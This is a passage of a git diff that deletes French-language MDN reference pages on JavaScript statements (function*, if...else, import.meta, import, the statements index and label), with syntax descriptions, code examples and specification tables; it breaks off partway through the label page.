- - diff --git a/files/fr/web/javascript/reference/instructions/function_star_/index.html b/files/fr/web/javascript/reference/instructions/function_star_/index.html deleted file mode 100644 index 5a55641ed3..0000000000 --- a/files/fr/web/javascript/reference/instructions/function_star_/index.html +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: function* -slug: Web/JavaScript/Reference/Instructions/function* -tags: - - ECMAScript 2015 - - Function - - Generator - - Instruction - - Iterator - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/function* ---- -
{{jsSidebar("Statements")}}
- -

La déclaration function* (le mot-clé function suivi par un astérisque) permet de définir un générateur (aussi appelé une fonction génératrice) (un générateur est un objet {{jsxref("Generator")}}).

- -
{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}
- - - -
-

Il est également possible de définir un générateur en utilisant le constructeur {{jsxref("GeneratorFunction")}} et une expression {{jsxref("Opérateurs/function*", "function*")}}.

-
- -

Syntaxe

- -
function* nom([param1[, param2[, ... paramN]]]) {
-   instructions
-}
-
- -
-
nom
-
Le nom de la fonction.
-
- -
-
paramN
-
Le nom d'un paramètre formel passé à la fonction.
-
- -
-
instructions
-
Les instructions qui constituent le corps de la fonction.
-
- -

Description

- -

Les générateurs sont des fonctions qu'il est possible de quitter puis de reprendre. Le contexte d'un générateur (les liaisons avec ses variables) est sauvegardé entre les reprises successives.

- -

Les générateurs, combinés avec les promesses, sont des outils de programmation asynchrones puissants qui permettent de réduire les inconvénients causés par les callbacks (fonctions de rappel) et l'inversion de contrôle.

- -

Lorsqu'on appelle une fonction génératrice, son corps n'est pas exécuté immédiatement, c'est un {{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}} qui est renvoyé pour la fonction. Lorsque la méthode next() de l'itérateur est appelée, le corps de la fonction génératrice est utilisé jusqu'à ce que la première expression {{jsxref("Opérateurs/yield", "yield")}} soit trouvée. Cette expression définira la valeur à renvoyer pour l'itérateur. Si on utilise {{jsxref("Opérateurs/yield*", "yield*")}}, on pourra déléguer la génération des valeurs à une autre fonction génératrice. La méthode next() renvoie un objet dont la propriété value contient la valeur générée et une propriété done qui indique si le générateur a produit sa dernière valeur ou non. Lorsqu'on appelle la méthode next() avec un argument, cela reprendra l'exécution de la fonction génératrice et remplacera la valeur de l'expression yield (là où l'exécution avait été interrompue) avec la valeur de l'argument passé à next().

- -

On peut utiliser une instruction return dans un générateur. Lorsque cette instruction sera exécutée, le générateur sera terminé (done vaudra true). La valeur renvoyée par l'instruction return sera la valeur de terminaison du générateur. Une fois qu'un générateur est terminé, il ne peut plus produire d'autres valeurs.

- -

À l'instar d'une instruction return, une exception levée à l'intérieur du générateur entraînera la terminaison du générateur sauf si cette exception est interceptée. Lorsqu'un générateur est terminé, les appels suivants à next() n'exécuteront aucun code provenant du générateur, ils renverront simplement un objet de la forme {value: undefined, done: true}.

- -

Exemples

- -

Exemple simple

- -
function* creerID(){
-  var index = 0;
-  while (true) {
-    yield index++;
-  }
-}
-
-var gen = creerID();
-
-console.log(gen.next().value); // 0
-console.log(gen.next().value); // 1
-console.log(gen.next().value); // 2
-console.log(gen.next().value); // 3
-
- -

Exemple utilisant des arguments

- -
function* logGenerator() {
-  console.log(yield);
-  console.log(yield);
-  console.log(yield);
-}
-
-var gen = logGenerator();
-
-// le premier appel à next exécute la fonction depuis son
-// début jusqu'au premier yield rencontré
-gen.next();
-gen.next('bretzel');    // bretzel
-gen.next('california'); // california
-gen.next('mayonnaise'); // mayonnaise
-
- -

Exemple utilisant yield*

- -
function* autreGenerateur(i) {
-  yield i + 1;
-  yield i + 2;
-  yield i + 3;
-}
-function* generateur(i){
-  yield i;
-  yield* autreGenerateur(i);
-  yield i + 10;
-}
-
-var gen = generateur(10);
-
-console.log(gen.next().value); // 10
-console.log(gen.next().value); // 11
-console.log(gen.next().value); // 12
-console.log(gen.next().value); // 13
-console.log(gen.next().value); // 20
-
- -

Utilisation de return

- -
function* yieldAndReturn() {
-  yield "Y";
-  return "R";
-  yield "inaccessible";
-}
-
-var gen = yieldAndReturn();
-
-console.log(gen.next()); // { value: "Y", done: false }
-console.log(gen.next()); // { value: "R", done: true }
-console.log(gen.next()); // { value: undefined, done: true }
-
- -

Utiliser un générateur comme propriété

- -
const monObj = {
-  *generator () {
-    yield "a";
-    yield "b";
-  }
-}
-
-const gen = monObj.generator();
-
-console.log(gen.next()); // { value: "a", done: false }
-console.log(gen.next()); // { value: "b", done: false }
-console.log(gen.next()); // { value: undefined, done: true }
- -

Utiliser un générateur comme propriété calculée

- -
class Toto {
-  *[Symbol.iterator] () {
-    yield 1;
-    yield 2;
-  }
-}
-
-const monObj = {
-  *[Symbol.iterator] () {
-    yield "a";
-    yield "b";
-  }
-}
-
-console.log(Array.from(new Toto)); // [1, 2]
-console.log(Array.from(monObj));   // [ "a", "b"]
- -

Les générateurs ne sont pas constructibles

- -
function* f() {}
-var obj = new f; // lève une TypeError: f n'est pas un constructeur
-
- -

Générateur défini avec une expression

- -
const toto = function* () {
-  yield 10;
-  yield 20;
-};
-const truc = toto();
-console.log(truc.next()); // {value: 10, done: false}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ES2016', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2016')}}Les générateurs ne doivent pas gérer la trappe [[Construct]] et déclencher une exception s'ils sont utilisés avec new.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.generator_function")}}

- -

Notes spécifiques à Firefox

- -

Les générateurs et itérateurs dans Firefox pour les versions antérieures à Firefox 26

- -

Les anciennes versions de Firefox implémentaient une ancienne version de la proposition pour les générateurs. Dans cette version, les générateurs étaient définis avec le mot-clé function (sans astérisque) et étaient différents selon d'autres aspects. Voir la page sur les générateurs historiques pour plus d'informations.

- -

IteratorResult au lieu d'une exception

- -

À partir de Gecko 29 {{geckoRelease(29)}}, lorsqu'un générateur est terminé, il ne renvoie plus une exception {{jsxref("TypeError")}} « generator has already finished ». Il renvoie désormais un objet IteratorResult comme { value: undefined, done: true } ({{bug(958951)}}).

- -

Voir aussi

- -
    -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • L'objet {{jsxref("GeneratorFunction")}}
    • -
  • {{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}}
    • -
  • {{jsxref("Opérateurs/yield", "yield")}}
    • -
  • {{jsxref("Opérateurs/yield*", "yield*")}}
    • -
  • L'objet {{jsxref("Function")}}
    • -
  • {{jsxref("Instructions/function", "Les déclarations de fonction","",1)}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_function", "Les expressions de fonction","",1)}}
    • -
  • {{jsxref("Fonctions", "Les fonctions","",1)}}
    • -
  • D'autres ressources disponibles sur le Web : - -
    • -
diff --git a/files/fr/web/javascript/reference/instructions/if...else/index.html b/files/fr/web/javascript/reference/instructions/if...else/index.html deleted file mode 100644 index 1b2cbf6497..0000000000 --- a/files/fr/web/javascript/reference/instructions/if...else/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: if...else -slug: Web/JavaScript/Reference/Instructions/if...else -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/if...else ---- -
{{jsSidebar("Statements")}}
- -

L'instruction if exécute une instruction si une condition donnée est vraie ou équivalente à vrai. Si la condition n'est pas vérifiée, il est possible d'utiliser une autre instruction.

- -
{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}
- - - -

Syntaxe

- -
if (condition)
-   instruction1
-[else
-   instruction2]
-
- -
-
condition
-
Une expression qui est évaluée à true ou false.
-
- -
-
instruction1
-
L'instruction qui est exécutée si la condition est vérifiée (i.e. est évaluée à true). Cette instruction peut être n'importe quelle instruction valide, y compris une imbrication d'autres instructions if. Pour exécuter plusieurs instructions, on pourra utiliser un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) qui permet de les regrouper. Pour n'exécuter aucune instruction, on pourra utiliser {{jsxref("Instructions/Vide","l'instruction vide","",1)}}.
-
- -
-
instruction2
-
Si la clause else existe, l'instruction qui est exécutée si la condition est évaluée à false. Comme pour la première, cette instruction peut être n'importe quelle instruction valide : une autre instruction if imbriquée, un bloc d'instruction, une instruction vide, etc.
-
- -

Description

- -

Plusieurs instructions if...else peuvent être imbriquées afin de créer une structure else if (on notera qu'il n'y a pas de mot-clé elseif en JavaScript).

- -
if (condition1)
-  instruction1
-else if (condition2)
-  instruction2
-else if (condition3)
-  instruction3
-...
-else
-  instructionN
-
- -

Si on indente correctement le code, on retrouve la structure exactement équivalente :

- -
if (condition1)
-  instruction1
-else
-  if (condition2)
-    instruction2
-  else
-    if (condition3)
-...
-
- -

Afin d'exécuter plusieurs instructions, on utilisera un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) pour regrouper les instructions souhaitées. Utiliser les blocs d'instructions est une bonne façon d'organiser son code, surtout lorsque celui-ci comporte des instructions conditionnelles imbriquées.

- -
if (condition) {
-  instructions1
-} else {
-  instructions2
-}
-
- -

Attention à ne pas confondre les valeurs booléennes « primitives » true et false avec les valeurs true et false d'un objet {{jsxref("Boolean")}}. Toute valeur qui n'est pas false, {{jsxref("undefined")}}, {{jsxref("null")}}, 0, -0, {{jsxref("NaN")}} ou la chaîne vide (""), et tout objet, y compris un objet Boolean dont la valeur est false, seront évalués à true lors d'une instruction conditionnelle if. Ainsi :

- -
var b = new Boolean(false);
-if (b) // la condition sera évaluée à true
-
- -

Exemples

- -

Utiliser if...else

- -
if (cipher_char == from_char) {
-  result = result + to_char;
-  x++;
-} else {
-  result = result + clear_char;
-}
-
- -

Utiliser else if

- -

Bien qu'il n'y ait pas de mot-clé elseif dans le langage JavaScript, il est possible d'imbriquer des instructions if...else à la suite les une des autres en plaçant un espace entre else et le début de l'instruction if imbriquée :

- -
if (x > 50){
-  // faire quelque chose
-} else if (x > 5) {
-  // faire autre chose
-} else {
-  // faire encore autre chose
-}
-
- -

Affectation de variable dans l'expression conditionnelle

- -

Il est conseillé de ne pas utiliser d'affectation au sein des expressions conditionnelles. En effet, l'affectation peut être confondue avec un test d'égalité lorsqu'on analyse le code. Il ne faut donc pas utiliser le code suivant (bien qu'il fonctionne) :

- -
if (x = y) {
-  /* exécuter les instructions */
-}
-
- -

S'il est nécessaire d'effectuer une telle affectation, une pratique courante consiste à ajouter des parenthèses de cette manière afin d'alerter le lecteur du code (exemple à utiliser) :

- -
if ((x = y)) {
-  /* exécuter les instructions */
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-if-statement', 'instruction if')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-if-statement', 'instruction if')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.5', 'instruction if')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.5', 'instruction if')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.5', 'instruction if')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.if_else")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/bloc", "bloc")}}
    • -
  • {{jsxref("Instructions/switch", "switch")}}
    • -
  • {{jsxref("Opérateurs/L_opérateur_conditionnel", "L'opérateur conditionnel","",1)}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/import.meta/index.html b/files/fr/web/javascript/reference/instructions/import.meta/index.html deleted file mode 100644 index 4acb0c1029..0000000000 --- a/files/fr/web/javascript/reference/instructions/import.meta/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: import.meta -slug: Web/JavaScript/Reference/Instructions/import.meta -tags: - - JavaScript - - Modules - - Reference -translation_of: Web/JavaScript/Reference/Statements/import.meta ---- -
{{JSSidebar("Statements")}}
- -

L'objet import.meta est une méta-propriété qui expose des métadonnées d'un module JavaScript spécifiques au contexte. Cet objet contient des informations à propos du module, telles que l'URL du module.

- -

Syntaxe

- -
import.meta
- -

Description

- -

L'objet import.meta se compose d'un mot-clé "import", suivi d'un point, puis du nom de propriété "meta". En temps normal, "import." serait utilisé comme contexte pour un accès à une propriété mais, dans ce cas, "import." n'est pas, à proprement parler, un objet.

- -

L'objet import.meta est créé par l'implémentation ECMAScript avec un prototype qui vaut {{jsxref("null")}}. Cet objet est extensible et ses propriétés sont accessibles en écriture, configurables et énumérables.

- -

Exemples

- -

Soit un module mon-module.js

- -
<script type="module" src="mon-module.js"></script>
-
- -

Il est possible d'accéder aux métadonnées du module grâce à l'objet import.meta.

- -
console.log(import.meta); // { url: "file:///home/user/mon-module.js" }
- -

Cet objet contient une propriété url qui indique l'URL de base du module. Dans le cas des scripts externes, celle-ci sera l'URL à partir de laquelle le script a été obtenu. Pour les scripts écrits dans le document, ce sera l'URL de base du document englobant.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour import.metaNiveau 3Définition initiale.
{{SpecName("HTML WHATWG","webappapis.html#hostgetimportmetaproperties","import.meta")}}{{Spec2("HTML WHATWG")}}Définition des propriétés import.meta en HTML.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.import_meta")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/import","import")}}
    • -
  • {{jsxref("Instructions/export","export")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/import/index.html b/files/fr/web/javascript/reference/instructions/import/index.html deleted file mode 100644 index 37c904eb10..0000000000 --- a/files/fr/web/javascript/reference/instructions/import/index.html +++ /dev/null @@ -1,242 +0,0 @@ ---- -title: import -slug: Web/JavaScript/Reference/Instructions/import -tags: - - ECMAScript 2015 - - Instruction - - JavaScript - - Modules - - import -translation_of: Web/JavaScript/Reference/Statements/import ---- -
{{jsSidebar("Statements")}}
- -

L'instruction import est utilisée pour importer des liens qui sont exportés par un autre module. Les modules importés sont interprétés en mode strict dans tous les cas. L'instruction import ne peut pas être utilisée dans les scripts embarqués sauf si ceux-ci proviennent de ressources avec type="module".

- -
-

Note : Il existe également une forme fonctionnelle, import() (cf. ci-après) qui permet d'avoir des chargements dynamiques. La compatibilité ascendante peut être atteinte en utilisant l'attribut nomodule sur la balise {{HTMLElement("script")}}.

-
- -

Syntaxe

- -
import exportParDefaut from "nom-module";
-import * as nom from "nom-module";
-import { export } from "nom-module";
-import { export as alias } from "nom-module";
-import { export1 , export2 } from "nom-module";
-import { export1 , export2 as alias2 , [...] } from "nom-module";
-import exportParDefaut, { export [ , [...] ] } from "nom-module";
-import exportParDefaut, * as nom from "nom-module";
-import "nom-module";
-import { toto , truc } from "nom-module/chemin/vers/fichier-non-exporte";
-let promesse = import("nom-module");
- -
-
exportParDefaut
-
Nom qui fera référence à l'export par défaut du module.
-
nom-module
-
Le module depuis lequel importer. C'est souvent un chemin absolu ou relatif vers le fichier .js contenant le module. Certains empaqueteurs peuvent permettre ou requérir l'utilisation de l'extension ; vérifier votre environnement. Seules les String à apostrophes simples ou doubles sont autorisées.
-
nom
-
Nom de l'objet module qui sera utilisé comme un genre d'espace de noms lors de références aux imports.
-
export, exportN
-
Nom des exports à importer.
-
alias, aliasN
-
Noms qui feront référence aux imports nommés.
-
- -

Description

- -

Le paramètre nom est le nom de l'"objet module" qui sera utilisé comme un genre d'espace de noms lors de références aux exports. Les paramètres export indiquent les exports nommés individuellement, tandis que la syntaxe import * as nom les importe tous. Ci-dessous d'autres exemples pour clarifier la syntaxe.

- -

Importer l'intégralité du contenu d'un module

- -

Ce qui suit insère monModule dans la portée courante, contenant tous les exports  du module dans le fichier situé dans /modules/mon-module.js.

- -
import * as monModule from '/modules/mon-module.js';
-
- -

Ici, accéder aux exports signifie utiliser le nom du module (ici monModule) comme un espace de noms. Par exemple, si le module importé ci-dessus incluait un export faireToutesLesChosesIncroyables(), vous l'écririez comme ceci :

- -
monModule.faireToutesLesChosesIncroyables();
- -

Importer un seul export depuis un module

- -

Étant donné un objet ou une valeur nommé(e) monExport qui est exporté(e) depuis le module mon-module, soit implicitement (parce que l'intégralité du module est exportée), soit explicitement (en utilisant l'instruction {{jsxref("Statements/export", "export")}}), ce qui suit insére monExport dans la portée courante.

- -
import {monExport} from '/modules/mon-module.js';
- -

Importer plusieurs éléments exportés depuis un module

- -

Ce qui suit insère à la fois machin et truc dans la portée courante.

- -
import {machin, truc} from '/modules/mon-module.js';
- -

Importer un élément exporté avec un alias

- -

Vous pouvez renommer un export lors de l'importation. Par exemple, ce qui suit insére nomCourt dans la portée courante.

- -
import {nomDExportDeModuleVraimentVraimentLong as nomCourt}
-  from '/modules/mon-module.js';
- -

Renommer plusieurs exports pendant l'import

- -

Importe des exports multiples depuis un module avec des alias commodes :

- -
import {
-  nomDExportDeModuleVraimentVraimentLong as nomCourt,
-  unAutreNomDeModuleLong as court
-} from '/modules/mon-module.js';
- -

Importer un module uniquement pour ses effets de bord

- -

Importe un module complet pour ses effets de bord seulement, sans importer quoi que ce soit. Ce qui suit exécute le code global du module, mais n'importe en fait aucune valeur.

- -
import '/modules/mon-module.js';
-
- -

Importation des défauts

- -

Il est possible d'avoir un {{jsxref("Statements/export", "export")}} par défaut (que ce soit un objet, une fonction, une classe, etc.). L'instruction import peut alors être utilisée pour importer ces défauts.

- -

La version la plus simple importe directement le défaut :

- -
import monDefaut from '/modules/mon-module.js';
- -

Il est également possible d'utiliser la syntaxe de défaut avec celles vues ci-dessus (imports d'espaces de noms ou imports nommés). Dans de tels cas, l'import par défaut devra être déclaré en premier. Par exemple :

- -
import monDefaut, * as monModule from '/modules/mon-module.js';
-// monModule utilisé comme un espace de noms
- -

ou

- -
import monDefaut, {machin, truc} from '/modules/mon-module.js';
-// imports nommés spécifiques
-
- -

Imports dynamiques

- -

Le mot-clé import peut être utilisé comme une fonction afin d'importer dynamiquement un module (utile lorsqu'on souhaite charger un module selon une condition donnée ou faire du chargement à la demande). Lorsqu'il est utilisé de cette façon, il renvoie une promesse :

- -
import('/modules/mon-module.js')
-  .then((module) => {
-    // Faire quelque chose avec le module
-  });
- -

On peut utiliser cette forme avec le mot-clé await :

- -
let module = await import('/modules/mon-module.js');
- -

Exemples

- -

Importation depuis un module secondaire pour aider le traitement d'une requête AJAX JSON.

- -

Le module : fichier.js

- -
function getJSON(url, rappel) {
-  let xhr = new XMLHttpRequest();
-  xhr.onload = function () {
-    rappel(this.responseText)
-  };
-  xhr.open('GET', url, true);
-  xhr.send();
-}
-
-export function recupererContenuUtile(url, rappel) {
-  getJSON(url, donnees => rappel(JSON.parse(donnees)));
-}
- -

Le programme principal : principal.js

- -
import { recupererContenuUtile } from '/modules/fichier.js';
-
-recupererContenuUtile('http://www.example.com',
-    donnees => { faireQuelqueChoseDUtile(donnees); });
- -

Import dynamique

- -

Dans cet exemple, on voit comment charger une fonctionnalité sur une page lorsqu'un utilisateur effectue une certaine action. Ici, lorsque l'utilisateur clique sur un bouton, cela déclenche l'appel d'une fonction dans le module.

- -
const main = document.querySelector("main");
-for (const link of document.querySelectorAll("nav > a")) {
-  link.addEventListener("click", e => {
-    e.preventDefault();
-
-    import('/modules/mon-module.js')
-      .then(module => {
-        module.loadPageInto(main);
-      })
-      .catch(err => {
-        main.textContent = err.message;
-      });
-  });
-}
-
-;
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour les imports dynamiques « fonctionnels »Proposition de niveau 4Fera partie de ECMAScript 2020
{{SpecName("ESDraft", "#sec-imports", "Imports")}}{{Spec2("ESDraft")}}
{{SpecName("ES2018", "#sec-imports", "Imports")}}{{Spec2("ES2018")}}
{{SpecName("ES2017", "#sec-imports", "Imports")}}{{Spec2("ES2017")}}
{{SpecName("ES2016", "#sec-imports", "Imports")}}{{Spec2("ES2016")}}
{{SpecName("ES2015", "#sec-imports", "Imports")}}{{Spec2("ES2015")}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.import")}}

- -

Suivi de l'implémentation

- -

Le tableau qui suit fournit un statut journalier de l'implémentation de cette fonctionnalité car celle-ci n'a pas encore atteint une stabilité sur l'ensemble des navigateurs. Les données sont générées à partir des tests de la fonctionnalité dans Test262 (la suite de tests standard pour JavaScript), exécutée pour les versions nightly ou release des moteurs JavaScript des navigateurs.

- -
{{EmbedTest262ReportResultsTable("dynamic-import")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/index.html b/files/fr/web/javascript/reference/instructions/index.html deleted file mode 100644 index ad89ea7371..0000000000 --- a/files/fr/web/javascript/reference/instructions/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Instructions -slug: Web/JavaScript/Reference/Instructions -tags: - - JavaScript - - Reference - - statements -translation_of: Web/JavaScript/Reference/Statements ---- -
-
{{jsSidebar("Statements")}}
- -

Les applications JavaScript sont composées de plusieurs instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et on peut avoir plusieurs instructions sur une seule ligne si chaque instruction est séparée de la suivante par un point-virgule.

- -

Instructions et déclarations, par catégorie

- -

Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.

- -

Contrôle du flux

- -
-
{{jsxref("Instructions/bloc", "Bloc")}}
-
Une instruction de bloc est utilisée pour regrouper zéro ou plusieurs instructions. Un bloc est délimité par une paire d'accolades.
-
{{jsxref("Instructions/break", "break")}}
-
Cette instruction termine la boucle ou l'instruction switch ou l'instruction label en cours et continue l'exécution sur l'instruction suivant l'instruction terminée.
-
{{jsxref("Instructions/continue", "continue")}}
-
Cette instruction termine l'exécution des instructions dans la boucle courante, ou la boucle avec une étiquette correspondante, et continue l'exécution de la boucle dans l'itération suivante.
-
{{jsxref("Instructions/vide", "Vide")}}
-
Une instruction vide est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.
-
{{jsxref("Instructions/if...else","if...else")}}
-
Cette instruction exécute une instruction si une condition donnée est vérifiée. Si la condition n'est pas vérifiée une autre instruction pourra être exécutée.
-
{{jsxref("Instructions/switch", "switch")}}
-
Cette instruction permet d'évaluer une expression et de faire correspondre le résultat de cette expression avec différents cas et d'exécuter les instructions associées aux cas qui ont chacun un identifiant.
-
{{jsxref("Instructions/throw", "throw")}}
-
Cette instruction lève une exception.
-
{{jsxref("Instructions/try...catch","try...catch")}}
-
Cette instruction permet de spécifier un ensemble d'instructions à tenter, et de préciser le traitement à effectuer dans le cas où une exception est produite.
-
- -

Déclarations

- -
-
{{jsxref("Instructions/var", "var")}}
-
-

Cette instruction permet de déclarer une variable, éventuellement en fournissant une valeur pour permettant de l'initialiser.

-
-
{{jsxref("Instructions/let", "let")}}
-
Cette instruction permet de déclarer une variable locale dans une portée d'un bloc et éventuellement d'initialiser sa valeur.
-
{{jsxref("Instructions/const", "const")}}
-
Cette instruction déclare une constante en lecture seule.
-
- -

Fonctions et classes

- -
-
{{jsxref("Instructions/function", "function")}}
-
Cette instruction déclare une fonction avec les paramètres donnés.
-
{{jsxref("Instructions/function*", "function*")}}
-
Les fonctions génératrices permettent de créer des itérateurs plus simplement.
-
{{experimental_inline}} {{jsxref("Instructions/async_function", "async function")}}
-
Cette instruction déclare une fonction asynchrone avec les paramètres associés.
-
{{jsxref("Instructions/return", "return")}}
-
Cette instruction spécifie la valeur de retour renvoyée par une fonction.
-
{{jsxref("Instructions/class", "class")}}
-
Déclare une classe.
-
- -

Itérations

- -
-
{{jsxref("Instructions/do...while", "do...while")}}
-
Cette instruction crée une boucle qui s'exécute tant que la condition est vraie. La condition est évaluée après avoir exécuté une itération de boucle, ce qui fait que cette boucle sera exécutée au moins une fois.
-
{{jsxref("Instructions/for", "for")}}
-
Cette instruction crée une boucle qui se base sur trois expressions facultatives. Ces expressions sont entre parenthèses, séparées par des points virgules et suivies par l'instruction à exécuter dans la boucle.
-
{{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} {{non-standard_inline}}
-
Cette instruction itère une variable donnée sur toutes les propriétés d'un objet. Pour chaque propriété distincte, une instruction spécifique est exécutée.
-
{{jsxref("Instructions/for...in", "for...in")}}
-
Cette instruction effectue, dans un ordre arbitraire, une boucle sur les propriétés énumérables d'un objet. Pour chacune des différentes propriétés, des instructions peuvent être exécutées.
-
{{jsxref("Instructions/for...of", "for...of")}}
-
Cette instruction parcourt les objets sur lesquels on peut itérer (comme les tableaux, les itérateurs et générateurs). Pour ce faire, elle utilise un mécanisme d'itération sur mesure utilisant des instructions à exécuter pour chacune des différentes propriétés.
-
{{jsxref("Instructions/for-await...of","for await...of")}}
-
Cette instruction parcourt les objets itérables asynchrones tels que les tableaux, les itérateurs et générateurs. Elle utilise un mécanisme d'itération spécifique et des instructions sont exécutées pour la valeur de chaque propriété.
-
{{jsxref("Instructions/while", "while")}}
-
Cette instruction permet de créer une boucle qui s'exécute tant qu'une condition de test est vérifiée. La condition est évaluée avant d'exécuter l'instruction contenue dans la boucle.
-
- -

Autres

- -
-
{{jsxref("Instructions/debugger", "debugger")}}
-
Cette instruction appelle une fonctionnalité de débogage. Si aucune fonctionnalité de débogage n'est disponible, l'instruction n'a aucun effet.
-
{{jsxref("Instructions/export", "export")}}
-
Cette instruction permet à un script signé de fournir des propriétés, fonctions et des objets à d'autres scripts (signés ou non).
-
{{jsxref("Instructions/import", "import")}}
-
Cette instruction permet à un script d'importer des propriétés, fonctions ou objets depuis un script qui les exporte.
-
import.meta
-
Une méta propriété qui expose des métadonnées à propos du module JavaScript.
-
{{jsxref("Instructions/label", "label")}}
-
Cette instruction fournit un identifiant auquel il est possible de se référer en utilisant une instruction break ou continue.
-
- -
-
{{jsxref("Instructions/with", "with")}} {{deprecated_inline}}
-
Cette instruction permet d'étendre la portée chaînée d'une instruction.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1', '#sec-12', 'Statements')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES3', '#sec-12', 'Statements')}}{{Spec2('ES3')}}
{{SpecName('ES5.1', '#sec-12', 'Statements')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ES6')}}Nouveaux éléments : function*, let, for...of, yield, class
{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements")}}

- -

Voir aussi

- - -
diff --git a/files/fr/web/javascript/reference/instructions/label/index.html b/files/fr/web/javascript/reference/instructions/label/index.html deleted file mode 100644 index 2b3fb86d46..0000000000 --- a/files/fr/web/javascript/reference/instructions/label/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: label -slug: Web/JavaScript/Reference/Instructions/label -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/label ---- -
{{jsSidebar("Statements")}}
- -

Une instruction étiquetée (labeled en anglais) peut être utilisée avec les instructions {{jsxref("Instructions/break", "break")}} ou {{jsxref("Instructions/continue", "continue")}}. Un label permet d'identifier une instruction avec un identifiant pour y faire référence plus tard.

- -
{{EmbedInteractiveExample("pages/js/statement-label.html")}}
- - - -
-

Note : Les boucles ou les blocs étiquetés sont très rares et on peut généralement utiliser des appels de fonction plutôt que des sauts de boucle.

-
- -

Syntaxe

- -
label :
-   instruction
-
- -
-
label
-
N'importe quel identifiant JavaScript qui n'est pas un mot-clé réservé.
-
instruction
-
Une instruction. break peut être utilisé avec n'importe quelle instruction identifiée. continue ne peut être utilisé qu'avec des instructions de boucle.
-
- -

Description

- -

Une étiquette (label) peut être utilisée pour identifier une boucle et pour y faire référence à l'intérieur en utilisant les instructions break ou continue afin d'interrompre cette boucle ou de reprendre son exécution.

- -

JavaScript ne possède pas d'instruction goto, les étiquettes ne peuvent être utilisées que par les instructions break ou continue.

- -

En mode strict, on ne peut pas utiliser let comme étiquette, cela lèvera une exception {{jsxref("SyntaxError")}} (let est un identifiant réservé).

- -

Exemples

- -

Faire référence à une étiquette avec continue dans une boucle

- -
var i, j;
-
-boucle1:
-for (i = 0; i < 3; i++) {      //Le premier for correspond à "boucle1"
-   boucle2:
-   for (j = 0; j < 3; j++) {   //Le second for correspond à "boucle2"
-      if (i === 1 && j === 1) {
-         continue boucle1;
-      } else {
-         console.log("i = " + i + ", j = " + j);
-      }
-   }
-}
-
-// On aura les résultats suivants :
-//   "i = 0, j = 0"
-//   "i = 0, j = 1"
-//   "i = 0, j = 2"
-//   "i = 1, j = 0"
-//   "i = 2, j = 0"
-//   "i = 2, j = 1"
-//   "i = 2, j = 2"
-// On voit bien l'absence de "i = 1, j = 1" et "i = 1, j = 2"
-
- -

Second exemple utilisant continue

- -

Étant donné un tableau d'élément et un tableau de tests, cet exemple donne le nombre d'éléments qui ont réussi tous les tests.

- -
var nbItemsReussis = 0;
-var i, j;
-
-top:
-for (i = 0; i < items.length; i++){
-  for (j = 0; j < tests.length; j++){
-    if (!tests[j].reussi(items[i])){
-      continue top;
-    }
-  }
-  nbItemsReussis++;
-}
- -

Utiliser break avec une étiquette au sein d'une boucle for

- -
var i, j;
-
-boucle1:
-for (i = 0; i < 3; i++) { // première boucle étiquetée « boucle1 »
-  boucle2:
